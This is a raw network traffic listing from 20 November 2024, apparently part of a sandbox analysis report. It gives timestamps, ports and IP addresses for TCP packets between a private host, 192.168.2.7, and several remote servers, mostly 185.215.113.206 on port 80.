Nov 20, 2024 21:05:44.688397884 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.688483000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.688545942 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.688556910 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.688560963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.690613985 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.690665960 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.690684080 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.692753077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.692826986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.692838907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.692873001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.694372892 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.694427967 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.694442987 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.701539040 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.701591015 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.701605082 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.701659918 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.701773882 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.701853037 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.702006102 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.702054024 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.702084064 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.702100992 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.705655098 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.705703974 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.705787897 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.705926895 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.705945015 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.708481073 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.708539963 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.708550930 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.714104891 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.714174986 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.714231014 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.714344025 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.714344025 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.714375973 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.714416027 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.715981960 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.716104984 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.716116905 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.716763020 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.716814041 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.716908932 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.717029095 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.717053890 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.725692034 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.725753069 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.725764036 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.731431961 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.731492996 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.731504917 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.736613989 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.736638069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.736727953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.738754988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.738765001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.738851070 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.738852024 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.740279913 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.740345955 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.740355015 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.750792980 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:44.752134085 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.752310038 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.752317905 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.753788948 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.753856897 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.753865957 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.760819912 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.760893106 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.760901928 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.767540932 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.767607927 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.767642975 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.774442911 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.774507999 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.774538994 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.789195061 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.789268017 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.789283991 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.790255070 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.790330887 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.790338993 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.791733027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.791816950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.791855097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.791975975 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.793143988 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.793200016 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.793207884 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.793668032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.793770075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.793838024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.793881893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.795492887 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.795552969 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.795562029 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.795654058 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.795666933 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.795706034 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.795723915 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.795758963 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.796734095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.796750069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.796812057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.796812057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.800640106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.800699949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.800704002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.800790071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.803246975 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.803306103 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.803354025 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.803715944 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.803756952 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.803759098 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.803771019 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.804363966 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.804385900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.804419041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.804462910 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.808043957 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.808137894 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.808161974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.808177948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.808240891 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.808255911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.808255911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.808484077 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.808521032 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.811989069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.812047958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.812112093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.812293053 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.815399885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.815439939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.815531015 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.818905115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.819010973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.819048882 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.819081068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.822294950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.822309971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.822390079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.825719118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.825732946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.825807095 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.828996897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.829112053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.829176903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.832463026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.832523108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.832551003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.832637072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.834753036 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.834834099 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.834897995 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:44.835012913 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:44.835052013 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.835686922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.835773945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.835794926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.836010933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.839071035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.839138985 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.839207888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.839333057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.840523958 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.840615034 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.840670109 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.840811968 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.840833902 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.840863943 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.840878963 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.842364073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.842403889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.842442989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.842442989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.843592882 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.843645096 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.843924999 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.844083071 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.844099045 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.845679045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.845746040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.845869064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.845978975 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.849261999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.849349022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.849390030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.849390030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.852324963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.852410078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.852417946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.852575064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.855587959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.855655909 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.855696917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.855870962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.859008074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.859169960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.859170914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.859240055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.862279892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.862339020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.862389088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.862461090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.865567923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.865650892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.865806103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.865869999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.868895054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.869000912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.869003057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.869045973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.872261047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.872363091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.872373104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.872423887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.875566959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.875618935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.875752926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.875814915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.877773046 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.878035069 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.878107071 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.878186941 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.878209114 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.878878117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.878936052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.878957033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.878995895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.881071091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.881156921 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.881177902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.881356001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.883275032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.883336067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.883373976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.883435011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.885541916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.885615110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.885627985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.885732889 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.887697935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.887792110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.887829065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.888458014 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.889911890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.890012026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.890023947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.890224934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.892112017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.892169952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.892205954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.892283916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.894344091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.894424915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.894448996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.894507885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.896553993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.896668911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.896672964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.896786928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.898751020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.898833036 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.898878098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.899224043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.900975943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.901042938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.901063919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.901088953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.903142929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.903336048 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.983935118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.983962059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.984050989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.984050989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.984906912 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.985075951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.985105038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.985146046 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.987164974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.987205029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.987283945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.987283945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.029225111 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:45.029263973 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:45.029434919 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:45.029436111 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:45.029469967 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:45.029900074 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:45.029900074 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:45.029932022 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:45.030010939 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:45.030025005 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:45.042726040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.042777061 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.042793036 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.042870998 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.043735027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.043790102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.043816090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.043873072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.045540094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.045614958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.045640945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.045803070 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.047597885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.047610044 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.047751904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.049850941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.049861908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.049969912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.051724911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.051773071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.051814079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.051814079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.053359032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.053457975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.053503990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.053503990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.055064917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.055172920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.055330992 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.055475950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.056574106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.056673050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.056710958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.056710958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.058182955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.058299065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.058360100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.058360100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.059881926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.059942961 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.059964895 CET	80	49780	185.215.113.206	192.168.2.7
